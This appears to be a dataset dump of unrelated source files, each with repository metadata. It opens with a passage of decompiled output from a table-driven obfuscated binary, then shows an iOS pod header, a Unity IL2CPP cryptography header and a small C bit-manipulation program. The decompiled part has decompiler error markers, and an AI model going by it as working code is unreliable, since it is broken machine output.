b1 = v39;
v38 = (unsigned int)*((char*)&alu_x + 2) | ((unsigned int)((v38 >>> 8) & 0xffffff) << 8);
v39 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 2) | ((unsigned int)((v39 >>> 8) & 0xffffff) << 8)) + *(unsigned int*)(v38 * 4 + (int)&alu_eq)) | ((unsigned int)((v39 >>> 8) & 0xffffff) << 8);
b2 = v39;
b3 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 3) | ((unsigned int)((v39 >>> 8) & 0xffffff) << 8)) + *(int*)(((unsigned int)*((char*)&alu_x + 3) | ((unsigned int)((v38 >>> 8) & 0xffffff) << 8)) * 4 + &alu_eq)) | ((unsigned int)((v39 >>> 8) & 0xffffff) << 8);
b0 = *(unsigned int*)(b1 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
b0 = *(unsigned int*)(b2 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
b0 = *(unsigned int*)(b3 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
unsigned int v40 = b0;
*(unsigned char*)*(unsigned char**)(v40 * 4 + (int)&sel_data) = *(int*)&jmp_r0;
**(unsigned int**)(v40 * 4 + (int)&sel_data) = jmp_r1;
**(unsigned int**)(v40 * 4 + (int)&sel_data) = jmp_r2;
**(unsigned int**)(v40 * 4 + (int)&sel_data) = jmp_r3;
*(unsigned char*)*(unsigned char**)(v40 * 4 + (int)&sel_data) = *(int*)&jmp_f0;
**(unsigned int**)(v40 * 4 + (int)&sel_data) = jmp_f1;
unsigned int* ptr8 = *(unsigned int*)(v40 * 4 + (int)&sel_data);
*ptr8 = *(int*)&jmp_d0;
*(ptr8 + 1) = gvar_85FD19C;
unsigned int* ptr9 = *(unsigned int*)(v40 * 4 + (int)&sel_data);
*ptr9 = jmp_d1;
*(ptr9 + 1) = gvar_85FD1A4;
**(unsigned int*)(b0 * 4 + (int)&sel_on) = 1;
stack_temp = *(unsigned int*)(sp - 0x200060);
unsigned int v41 = on;
**(unsigned int**)(v41 * 4 + (int)&sel_data) = stack_temp;
R3 = R0;
R2 = 0;
unsigned int v42 = R3;
unsigned int v43 = R2;
branch_temp = 0x88051654;
alu_x = v42;
alu_y = v43;
alu_t = v43;
alu_c = 1;
int v44 = (unsigned int)*(short*)&alu_x;
unsigned int v45 = alu_c;
int v46 = *(int*)(v45 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v44 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_s = (unsigned short)v46;
*(int*)0x81FCFEE = v46;
int v47 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v45 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v45 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v44 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_s + 2) = (unsigned short)v47;
*(int*)0x81FCFEE = v47;
alu_y = alu_t;
int v48 = (unsigned int)*(char*)((unsigned int)*(char*)&alu_c + (int)&alu_false);
cf = *(unsigned char*)((unsigned int)*(char*)&alu_c + (int)&alu_false);
*(char*)&sf = (unsigned char)*(int*)(((unsigned int)*((char*)&alu_s + 3) | ((unsigned int)((v48 >>> 8) & 0xffffff) << 8)) * 4 + &alu_b7);
int v49 = (unsigned int)*(char*)&alu_s;
int v50 = (unsigned int)*(unsigned char*)((int)&alu_true + v49);
v49 = (unsigned int)*((char*)&alu_s + 1) | ((unsigned int)((v49 >>> 8) & 0xffffff) << 8);
v50 = (unsigned int)*(unsigned char*)((int)(int*)((int)&alu_true + v50) + v49) | ((unsigned int)((v50 >>> 8) & 0xffffff) << 8);
v49 = (unsigned int)*((char*)&alu_s + 2) | ((unsigned int)((v49 >>> 8) & 0xffffff) << 8);
v50 = (unsigned int)*(char*)(((unsigned int)*(char*)(((unsigned int)*((char*)&alu_s + 3) | ((unsigned int)((v49 >>> 8) & 0xffffff) << 8)) + v50 + &alu_true) | ((unsigned int)((v50 >>> 8) & 0xffffff) << 8)) + &alu_false) | ((unsigned int)((v50 >>> 8) & 0xffffff) << 8);
*(char*)&zf = (unsigned char)v50;
int v51 = *(int*)(((unsigned int)*((char*)&alu_x + 3) | ((unsigned int)((v50 >>> 8) & 0xffffff) << 8)) * 4 + &alu_b7);
int v52 = *(int*)(((unsigned int)*((char*)&alu_y + 3) | ((unsigned int)((v51 >>> 8) & 0xffffff) << 8)) * 4 + &alu_b7);
*(char*)&of = (unsigned char)**(unsigned int*)(*(int*)(((unsigned int)*((char*)&alu_s + 3) | ((unsigned int)((v52 >>> 8) & 0xffffff) << 8)) * 4 + &alu_b7) * 4 + *(int*)(v52 * 4 + *(int*)(v51 * 4 + (int)&alu_cmp_of)));
b0 = *(unsigned int*)(on * 4 + *(unsigned int*)(zf * 4 + (int)&and));
**(unsigned int**)(b0 * 4 + (int)&sel_target) = branch_temp;
unsigned int v53 = b0;
unsigned int* ptr10 = *(unsigned int*)(v53 * 4 + (int)&sel_data);
*ptr10 = R0;
*(ptr10 + 1) = R1;
*(ptr10 + 2) = R2;
*(ptr10 + 3) = R3;
unsigned int* ptr11 = *(unsigned int*)(v53 * 4 + (int)&sel_data);
*ptr11 = F0;
*(ptr11 + 1) = F1;
unsigned int* ptr12 = *(unsigned int*)(v53 * 4 + (int)&sel_data);
*ptr12 = D0;
*(ptr12 + 1) = gvar_8054064;
*(ptr12 + 2) = D1;
*(ptr12 + 3) = gvar_805406C;
**(unsigned int*)(b0 * 4 + (int)&sel_on) = 0;
R3 = *(unsigned int*)(fp - 0x200068);
unsigned int v54 = on;
data_p = R3;
R3 = **(unsigned int**)(v54 * 4 + (int)&sel_data);
stack_temp = R3;
unsigned int v55 = on;
**(unsigned int*)(v55 * 4 + (int)&sel_data) = *(int*)(sp - 0x200068);
unsigned int v56 = on;
data_p = sp;
**(unsigned int**)(v56 * 4 + (int)&sel_data) = stack_temp;
R3 = &gvar_8054022;
stack_temp = R3;
unsigned int v57 = on;
**(unsigned int*)(v57 * 4 + (int)&sel_data) = *(int*)(sp - 0x200068);
unsigned int v58 = on;
data_p = sp;
**(unsigned int**)(v58 * 4 + (int)&sel_data) = stack_temp;
alu_x = 2282034656;
alu_y = 0x80000000;
alu_c = 0;
int v59 = (unsigned int)*(short*)&alu_x;
int v60 = (unsigned int)*(short*)&alu_y;
int v61 = *(int*)(v60 * 4 + *(unsigned int*)(v59 * 4 + (int)&alu_add16));
v60 = (unsigned int)*(short*)((char*)&alu_c + 2) | ((unsigned int)(unsigned short)(v60 >>> 16) << 16);
unsigned int v62 = *(unsigned int*)(v60 * 4 + *(unsigned int*)(v61 * 4 + (int)&alu_add16));
*(short*)&alu_s = (unsigned short)v62;
alu_c = v62;
unsigned int v63 = *(unsigned int*)(((unsigned int)*(short*)((char*)&alu_c + 2) | ((unsigned int)(unsigned short)(v60 >>> 16) << 16)) * 4 + *(int*)(*(int*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v60 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v59 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_s + 2) = (unsigned short)v63;
alu_c = v63;
stack_temp = alu_s;
unsigned int v64 = on;
**(unsigned int*)(v64 * 4 + (int)&sel_data) = *(int*)(sp - 0x200068);
unsigned int v65 = on;
data_p = sp;
**(unsigned int**)(v65 * 4 + (int)&sel_data) = stack_temp;
R0 = **(unsigned int**)(on * 4 + (int)&fault);
unsigned int v66 = on;
**(unsigned int*)(v66 * 4 + (int)&sel_data) = *(int*)(sp - 0x200060);
stack_temp = *(unsigned int*)(*(int*)(sp - 0x200060) - 0x200060);
unsigned int v67 = on;
**(unsigned int**)(v67 * 4 + (int)&sel_data) = stack_temp;
alu_x = target;
alu_y = 0x88051654;
int v68 = (unsigned int)*(char*)&alu_x;
unsigned int v69 = (unsigned int)*(char*)((unsigned int)*(char*)&alu_y + *(unsigned int*)(v68 * 4 + (int)&alu_eq));
b0 = (unsigned int)*(char*)((unsigned int)*(char*)&alu_y + *(unsigned int*)(v68 * 4 + (int)&alu_eq));
v68 = (unsigned int)*((char*)&alu_x + 1) | ((unsigned int)((v68 >>> 8) & 0xffffff) << 8);
v69 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 1) | ((unsigned int)((v69 >>> 8) & 0xffffff) << 8)) + *(unsigned int*)(v68 * 4 + (int)&alu_eq)) | ((unsigned int)((v69 >>> 8) & 0xffffff) << 8);
b1 = v69;
v68 = (unsigned int)*((char*)&alu_x + 2) | ((unsigned int)((v68 >>> 8) & 0xffffff) << 8);
v69 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 2) | ((unsigned int)((v69 >>> 8) & 0xffffff) << 8)) + *(unsigned int*)(v68 * 4 + (int)&alu_eq)) | ((unsigned int)((v69 >>> 8) & 0xffffff) << 8);
b2 = v69;
b3 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 3) | ((unsigned int)((v69 >>> 8) & 0xffffff) << 8)) + *(int*)(((unsigned int)*((char*)&alu_x + 3) | ((unsigned int)((v68 >>> 8) & 0xffffff) << 8)) * 4 + &alu_eq)) | ((unsigned int)((v69 >>> 8) & 0xffffff) << 8);
b0 = *(unsigned int*)(b1 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
b0 = *(unsigned int*)(b2 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
b0 = *(unsigned int*)(b3 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
unsigned int v70 = b0;
*(unsigned char*)*(unsigned char**)(v70 * 4 + (int)&sel_data) = *(int*)&jmp_r0;
**(unsigned int**)(v70 * 4 + (int)&sel_data) = jmp_r1;
**(unsigned int**)(v70 * 4 + (int)&sel_data) = jmp_r2;
**(unsigned int**)(v70 * 4 + (int)&sel_data) = jmp_r3;
*(unsigned char*)*(unsigned char**)(v70 * 4 + (int)&sel_data) = *(int*)&jmp_f0;
**(unsigned int**)(v70 * 4 + (int)&sel_data) = jmp_f1;
unsigned int* ptr13 = *(unsigned int*)(v70 * 4 + (int)&sel_data);
*ptr13 = *(int*)&jmp_d0;
*(ptr13 + 1) = gvar_85FD19C;
unsigned int* ptr14 = *(unsigned int*)(v70 * 4 + (int)&sel_data);
*ptr14 = jmp_d1;
*(ptr14 + 1) = gvar_85FD1A4;
**(unsigned int*)(b0 * 4 + (int)&sel_on) = 1;
alu_x = target;
alu_y = 2282035246;
int v71 = (unsigned int)*(char*)&alu_x;
unsigned int v72 = (unsigned int)*(char*)((unsigned int)*(char*)&alu_y + *(unsigned int*)(v71 * 4 + (int)&alu_eq));
b0 = (unsigned int)*(char*)((unsigned int)*(char*)&alu_y + *(unsigned int*)(v71 * 4 + (int)&alu_eq));
v71 = (unsigned int)*((char*)&alu_x + 1) | ((unsigned int)((v71 >>> 8) & 0xffffff) << 8);
v72 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 1) | ((unsigned int)((v72 >>> 8) & 0xffffff) << 8)) + *(unsigned int*)(v71 * 4 + (int)&alu_eq)) | ((unsigned int)((v72 >>> 8) & 0xffffff) << 8);
b1 = v72;
v71 = (unsigned int)*((char*)&alu_x + 2) | ((unsigned int)((v71 >>> 8) & 0xffffff) << 8);
v72 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 2) | ((unsigned int)((v72 >>> 8) & 0xffffff) << 8)) + *(unsigned int*)(v71 * 4 + (int)&alu_eq)) | ((unsigned int)((v72 >>> 8) & 0xffffff) << 8);
b2 = v72;
b3 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 3) | ((unsigned int)((v72 >>> 8) & 0xffffff) << 8)) + *(int*)(((unsigned int)*((char*)&alu_x + 3) | ((unsigned int)((v71 >>> 8) & 0xffffff) << 8)) * 4 + &alu_eq)) | ((unsigned int)((v72 >>> 8) & 0xffffff) << 8);
b0 = *(unsigned int*)(b1 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
b0 = *(unsigned int*)(b2 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
b0 = *(unsigned int*)(b3 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
unsigned int v73 = b0;
*(unsigned char*)*(unsigned char**)(v73 * 4 + (int)&sel_data) = *(int*)&jmp_r0;
**(unsigned int**)(v73 * 4 + (int)&sel_data) = jmp_r1;
**(unsigned int**)(v73 * 4 + (int)&sel_data) = jmp_r2;
**(unsigned int**)(v73 * 4 + (int)&sel_data) = jmp_r3;
*(unsigned char*)*(unsigned char**)(v73 * 4 + (int)&sel_data) = *(int*)&jmp_f0;
**(unsigned int**)(v73 * 4 + (int)&sel_data) = jmp_f1;
unsigned int* ptr15 = *(unsigned int*)(v73 * 4 + (int)&sel_data);
*ptr15 = *(int*)&jmp_d0;
*(ptr15 + 1) = gvar_85FD19C;
unsigned int* ptr16 = *(unsigned int*)(v73 * 4 + (int)&sel_data);
*ptr16 = jmp_d1;
*(ptr16 + 1) = gvar_85FD1A4;
**(unsigned int*)(b0 * 4 + (int)&sel_on) = 1;
R3 = *(unsigned int*)(fp - 0x200068);
unsigned int v74 = on;
data_p = R3;
R3 = **(unsigned int**)(v74 * 4 + (int)&sel_data);
R2 = 1;
unsigned int v75 = R2;
alu_x = R3;
alu_y = v75;
alu_c = 0;
int v76 = (unsigned int)*(short*)&alu_x;
int v77 = (unsigned int)*(short*)&alu_y;
int v78 = *(int*)(v77 * 4 + *(unsigned int*)(v76 * 4 + (int)&alu_add16));
v77 = (unsigned int)*(short*)((char*)&alu_c + 2) | ((unsigned int)(unsigned short)(v77 >>> 16) << 16);
unsigned int v79 = *(unsigned int*)(v77 * 4 + *(unsigned int*)(v78 * 4 + (int)&alu_add16));
*(short*)&alu_s = (unsigned short)v79;
alu_c = v79;
unsigned int v80 = *(unsigned int*)(((unsigned int)*(short*)((char*)&alu_c + 2) | ((unsigned int)(unsigned short)(v77 >>> 16) << 16)) * 4 + *(int*)(*(int*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v77 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v76 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_s + 2) = (unsigned short)v80;
alu_c = v80;
R3 = alu_s;
unsigned int v81 = on;
**(unsigned int**)(v81 * 4 + (int)&sel_data) = R3;
R3 = *(unsigned int*)(fp - 0x200068);
unsigned int v82 = on;
data_p = R3;
R3 = **(unsigned int**)(v82 * 4 + (int)&sel_data);
R2 = 10000;
unsigned int v83 = R3;
unsigned int v84 = R2;
branch_temp = 2282032205;
alu_x = v83;
alu_y = v84;
alu_t = v84;
alu_c = 1;
int v85 = (unsigned int)*(short*)&alu_x;
unsigned int v86 = alu_c;
int v87 = *(int*)(v86 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v85 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_s = (unsigned short)v87;
*(int*)0x81FCFEE = v87;
int v88 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v86 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v86 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v85 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_s + 2) = (unsigned short)v88;
*(int*)0x81FCFEE = v88;
alu_y = alu_t;
int v89 = (unsigned int)*(char*)((unsigned int)*(char*)&alu_c + (int)&alu_false);
*(char*)&sf = (unsigned char)*(int*)(((unsigned int)*((char*)&alu_s + 3) | ((unsigned int)((v89 >>> 8) & 0xffffff) << 8)) * 4 + &alu_b7);
int v90 = (unsigned int)*(char*)&alu_s;
int v91 = (unsigned int)*(unsigned char*)((int)&alu_true + v90);
v90 = (unsigned int)*((char*)&alu_s + 1) | ((unsigned int)((v90 >>> 8) & 0xffffff) << 8);
v91 = (unsigned int)*(unsigned char*)((int)(int*)((int)&alu_true + v91) + v90) | ((unsigned int)((v91 >>> 8) & 0xffffff) << 8);
v90 = (unsigned int)*((char*)&alu_s + 2) | ((unsigned int)((v90 >>> 8) & 0xffffff) << 8);
v91 = (unsigned int)*(char*)(((unsigned int)*(char*)(((unsigned int)*((char*)&alu_s + 3) | ((unsigned int)((v90 >>> 8) & 0xffffff) << 8)) + v91 + &alu_true) | ((unsigned int)((v91 >>> 8) & 0xffffff) << 8)) + &alu_false) | ((unsigned int)((v91 >>> 8) & 0xffffff) << 8);
*(char*)&zf = (unsigned char)v91;
int v92 = *(int*)(((unsigned int)*((char*)&alu_x + 3) | ((unsigned int)((v91 >>> 8) & 0xffffff) << 8)) * 4 + &alu_b7);
int v93 = *(int*)(((unsigned int)*((char*)&alu_y + 3) | ((unsigned int)((v92 >>> 8) & 0xffffff) << 8)) * 4 + &alu_b7);
*(char*)&of = (unsigned char)**(unsigned int*)(*(int*)(((unsigned int)*((char*)&alu_s + 3) | ((unsigned int)((v93 >>> 8) & 0xffffff) << 8)) * 4 + &alu_b7) * 4 + *(int*)(v93 * 4 + *(int*)(v92 * 4 + (int)&alu_cmp_of)));
b0 = *(unsigned int*)(of * 4 + *(unsigned int*)(sf * 4 + (int)&xor));
b0 = *(unsigned int*)(on * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
**(unsigned int**)(b0 * 4 + (int)&sel_target) = branch_temp;
unsigned int v94 = b0;
unsigned int* ptr17 = *(unsigned int*)(v94 * 4 + (int)&sel_data);
*ptr17 = R0;
*(ptr17 + 1) = R1;
*(ptr17 + 2) = R2;
*(ptr17 + 3) = R3;
unsigned int* ptr18 = *(unsigned int*)(v94 * 4 + (int)&sel_data);
*ptr18 = F0;
*(ptr18 + 1) = F1;
unsigned int* ptr19 = *(unsigned int*)(v94 * 4 + (int)&sel_data);
*ptr19 = D0;
*(ptr19 + 1) = gvar_8054064;
*(ptr19 + 2) = D1;
*(ptr19 + 3) = gvar_805406C;
**(unsigned int*)(b0 * 4 + (int)&sel_on) = 0;
R3 = &gvar_8054020;
stack_temp = R3;
unsigned int v95 = on;
**(unsigned int*)(v95 * 4 + (int)&sel_data) = *(int*)(sp - 0x200068);
unsigned int v96 = on;
data_p = sp;
**(unsigned int**)(v96 * 4 + (int)&sel_data) = stack_temp;
alu_x = 0x88051ee5;
alu_y = 0x80000000;
alu_c = 0;
int v97 = (unsigned int)*(short*)&alu_x;
int v98 = (unsigned int)*(short*)&alu_y;
int v99 = *(int*)(v98 * 4 + *(unsigned int*)(v97 * 4 + (int)&alu_add16));
v98 = (unsigned int)*(short*)((char*)&alu_c + 2) | ((unsigned int)(unsigned short)(v98 >>> 16) << 16);
unsigned int v100 = *(unsigned int*)(v98 * 4 + *(unsigned int*)(v99 * 4 + (int)&alu_add16));
*(short*)&alu_s = (unsigned short)v100;
alu_c = v100;
unsigned int v101 = *(unsigned int*)(((unsigned int)*(short*)((char*)&alu_c + 2) | ((unsigned int)(unsigned short)(v98 >>> 16) << 16)) * 4 + *(int*)(*(int*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v98 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v97 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_s + 2) = (unsigned short)v101;
alu_c = v101;
stack_temp = alu_s;
unsigned int v102 = on;
**(unsigned int*)(v102 * 4 + (int)&sel_data) = *(int*)(sp - 0x200068);
unsigned int v103 = on;
data_p = sp;
**(unsigned int**)(v103 * 4 + (int)&sel_data) = stack_temp;
unsigned int v104 = on;
**(unsigned int*)(v104 * 4 + (int)&sel_data) = *(int*)(sp - 0x200060);
stack_temp = *(unsigned int*)(sp - 0x200060);
unsigned int v105 = on;
**(unsigned int**)(v105 * 4 + (int)&sel_data) = stack_temp;
R0 = 0;
alu_x = target;
alu_y = 2282037085;
int v106 = (unsigned int)*(char*)&alu_x;
unsigned int v107 = (unsigned int)*(char*)((unsigned int)*(char*)&alu_y + *(unsigned int*)(v106 * 4 + (int)&alu_eq));
b0 = (unsigned int)*(char*)((unsigned int)*(char*)&alu_y + *(unsigned int*)(v106 * 4 + (int)&alu_eq));
v106 = (unsigned int)*((char*)&alu_x + 1) | ((unsigned int)((v106 >>> 8) & 0xffffff) << 8);
v107 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 1) | ((unsigned int)((v107 >>> 8) & 0xffffff) << 8)) + *(unsigned int*)(v106 * 4 + (int)&alu_eq)) | ((unsigned int)((v107 >>> 8) & 0xffffff) << 8);
b1 = v107;
v106 = (unsigned int)*((char*)&alu_x + 2) | ((unsigned int)((v106 >>> 8) & 0xffffff) << 8);
v107 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 2) | ((unsigned int)((v107 >>> 8) & 0xffffff) << 8)) + *(unsigned int*)(v106 * 4 + (int)&alu_eq)) | ((unsigned int)((v107 >>> 8) & 0xffffff) << 8);
b2 = v107;
b3 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 3) | ((unsigned int)((v107 >>> 8) & 0xffffff) << 8)) + *(int*)(((unsigned int)*((char*)&alu_x + 3) | ((unsigned int)((v106 >>> 8) & 0xffffff) << 8)) * 4 + &alu_eq)) | ((unsigned int)((v107 >>> 8) & 0xffffff) << 8);
b0 = *(unsigned int*)(b1 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
b0 = *(unsigned int*)(b2 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
b0 = *(unsigned int*)(b3 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
unsigned int v108 = b0;
*(unsigned char*)*(unsigned char**)(v108 * 4 + (int)&sel_data) = *(int*)&jmp_r0;
**(unsigned int**)(v108 * 4 + (int)&sel_data) = jmp_r1;
**(unsigned int**)(v108 * 4 + (int)&sel_data) = jmp_r2;
**(unsigned int**)(v108 * 4 + (int)&sel_data) = jmp_r3;
*(unsigned char*)*(unsigned char**)(v108 * 4 + (int)&sel_data) = *(int*)&jmp_f0;
**(unsigned int**)(v108 * 4 + (int)&sel_data) = jmp_f1;
unsigned int* ptr20 = *(unsigned int*)(v108 * 4 + (int)&sel_data);
*ptr20 = *(int*)&jmp_d0;
*(ptr20 + 1) = gvar_85FD19C;
unsigned int* ptr21 = *(unsigned int*)(v108 * 4 + (int)&sel_data);
*ptr21 = jmp_d1;
*(ptr21 + 1) = gvar_85FD1A4;
**(unsigned int*)(b0 * 4 + (int)&sel_on) = 1;
unsigned int v109 = on;
**(unsigned int**)(v109 * 4 + (int)&sel_data) = fp;
unsigned int* ptr22 = sp;
stack_temp = *ptr22;
gvar_81FD104 = *(ptr22 + 1);
unsigned int v110 = on;
**(unsigned int*)(v110 * 4 + (int)&sel_data) = *(int*)(*(int*)(sp - 0x200060) - 0x200060);
unsigned int v111 = on;
unsigned int* ptr23 = *(unsigned int*)(v111 * 4 + (int)&sel_data);
*ptr23 = stack_temp;
*(ptr23 + 1) = gvar_81FD104;
stack_temp = *sp;
unsigned int v112 = on;
**(unsigned int*)(v112 * 4 + (int)&sel_data) = *(int*)(sp - 0x200060);
unsigned int v113 = on;
**(unsigned int**)(v113 * 4 + (int)&sel_data) = stack_temp;
stack_temp = *sp;
unsigned int v114 = on;
**(unsigned int*)(v114 * 4 + (int)&sel_data) = *(int*)(sp - 0x200060);
unsigned int v115 = on;
**(unsigned int**)(v115 * 4 + (int)&sel_data) = stack_temp;
stack_temp = *sp;
unsigned int v116 = on;
**(unsigned int*)(v116 * 4 + (int)&sel_data) = *(int*)(sp - 0x200060);
unsigned int v117 = on;
**(unsigned int**)(v117 * 4 + (int)&sel_data) = stack_temp;
stack_temp = *sp;
unsigned int v118 = on;
**(unsigned int*)(v118 * 4 + (int)&sel_data) = *(int*)(sp - 0x200060);
unsigned int v119 = on;
**(unsigned int**)(v119 * 4 + (int)&sel_data) = stack_temp;
stack_temp = *sp;
unsigned int v120 = on;
**(unsigned int*)(v120 * 4 + (int)&sel_data) = *(int*)(sp - 0x200060);
unsigned int v121 = on;
**(unsigned int**)(v121 * 4 + (int)&sel_data) = stack_temp;
stack_temp = *sp;
unsigned int v122 = on;
**(unsigned int*)(v122 * 4 + (int)&sel_data) = *(int*)(sp - 0x200060);
branch_temp = stack_temp;
**(unsigned int**)(on * 4 + (int)&sel_target) = branch_temp;
unsigned int v123 = on;
unsigned int* ptr24 = *(unsigned int*)(v123 * 4 + (int)&sel_data);
*ptr24 = R0;
*(ptr24 + 1) = R1;
*(ptr24 + 2) = R2;
*(ptr24 + 3) = R3;
unsigned int* ptr25 = *(unsigned int*)(v123 * 4 + (int)&sel_data);
*ptr25 = F0;
*(ptr25 + 1) = F1;
data_p = &jmp_d0;
unsigned int* ptr26 = *(unsigned int*)(v123 * 4 + (int)&sel_data);
*ptr26 = D0;
*(ptr26 + 1) = gvar_8054064;
*(ptr26 + 2) = D1;
*(ptr26 + 3) = gvar_805406C;
**(unsigned int*)(on * 4 + (int)&sel_on) = 0;
}
void start() {
// Decompilation error
}
void sub_80481F0() {
jump gvar_8054008;
}
int sub_8048206() {
/*BAD_CALL!*/ sub_80481F0();
}
int sub_8048216() {
/*BAD_CALL!*/ sub_80481F0();
}
| [
"i-git-stone@rf.risimo.net"
] | i-git-stone@rf.risimo.net |
2a1cac1a6de488993c674d1f284e7394e732fc2d | 2eb05aa3ba7145b82819813c8a917f026ab86467 | /SHCHUD/HUD.h | 37a4a6f42287a7d5f1823bb8a93c9567ed143c0f | [
"MIT"
] | permissive | SHCcc/SHCHUD | f80d2eae28bac38799398c46033be96277add91a | 0074251c783885487682f979d8c463b4f1fa354d | refs/heads/master | 2021-01-06T20:43:54.665956 | 2018-12-27T03:14:10 | 2018-12-27T03:14:10 | 99,549,550 | 2 | 0 | null | null | null | null | UTF-8 | C | false | false | 236 | h | //
// SHCHUD.h
// Pods
//
// Created by 邵焕超 on 2017/9/15.
//
#ifndef SHCHUD_h
#define SHCHUD_h
FOUNDATION_EXPORT double SHCHUDVersionNumber;
FOUNDATION_EXPORT const unsigned char SHCHUDVersionString[];
#endif /* SHCHUD_h */
| [
"578013836@qq.com"
] | 578013836@qq.com |
3825a47c09ab214276f426321e160dde56a96046 | 202bbc35b672ebda80f7295a7793995d5d877206 | /ScubaSteve/Builds/IOS/Classes/Native/mscorlib_System_Security_Cryptography_RSAPKCS1SignatureForma.h | 801793c1992b22cd3f2cf6bc59e70403b0067c22 | [] | no_license | gohun04/ScubaSteve | c2388d677c77b374fccb62c0e8cce4740d06ca50 | 2428e54e97238f48f67652a8dd982e1f6821e7e0 | refs/heads/master | 2021-01-01T16:00:07.055501 | 2015-04-25T09:07:26 | 2015-04-25T09:07:26 | 34,557,070 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 692 | h | #pragma once
// System.Security.Cryptography.RSA
struct RSA_t1526;
// System.Security.Cryptography.HashAlgorithm
struct HashAlgorithm_t1721;
// System.Security.Cryptography.AsymmetricSignatureFormatter
#include "mscorlib_System_Security_Cryptography_AsymmetricSignatureFor.h"
// System.Security.Cryptography.RSAPKCS1SignatureFormatter
struct RSAPKCS1SignatureFormatter_t2264 : public AsymmetricSignatureFormatter_t1782
{
// System.Security.Cryptography.RSA System.Security.Cryptography.RSAPKCS1SignatureFormatter::rsa
RSA_t1526 * ___rsa_0;
// System.Security.Cryptography.HashAlgorithm System.Security.Cryptography.RSAPKCS1SignatureFormatter::hash
HashAlgorithm_t1721 * ___hash_1;
};
| [
"jacobpipers@msn.com"
] | jacobpipers@msn.com |
fa362ccb780e84384f9ae8bae1daf39d694b4be0 | 6dad397cab261f5b823eca5a8e394bb67cc9634f | /vxl1.c | 148e79696ada888ff0da6916ac909539a48bbf71 | [] | no_license | zymethyang/C_programing | 5f093cb1d44c9fc2e856a75b02daaf67d6ffeb0d | 75025ac273e7a608ba306c0044e6a5017a1c3e74 | refs/heads/master | 2021-08-19T03:37:48.183348 | 2017-11-24T15:42:52 | 2017-11-24T15:42:52 | 103,942,426 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 396 | c | #include <stdio.h>
void main(){
int a = 0xb7;
printf("%x \n",a);
int b = 0x5e;
printf("%x \n",b);
int x = a | b;
printf("%x \n",x);
b = ~a;
printf("%x \n",b);
int y=a^b;
printf("%x \n",y);
int z=x&y;
printf("%x \n",z);
for(int i=0;i<3;i=i+2){
b++;
printf("%x \n",b);
a= (a<<2) | 0x33;
printf("%x \n",a);
}
} | [
"zymethyang@gmail.com"
] | zymethyang@gmail.com |
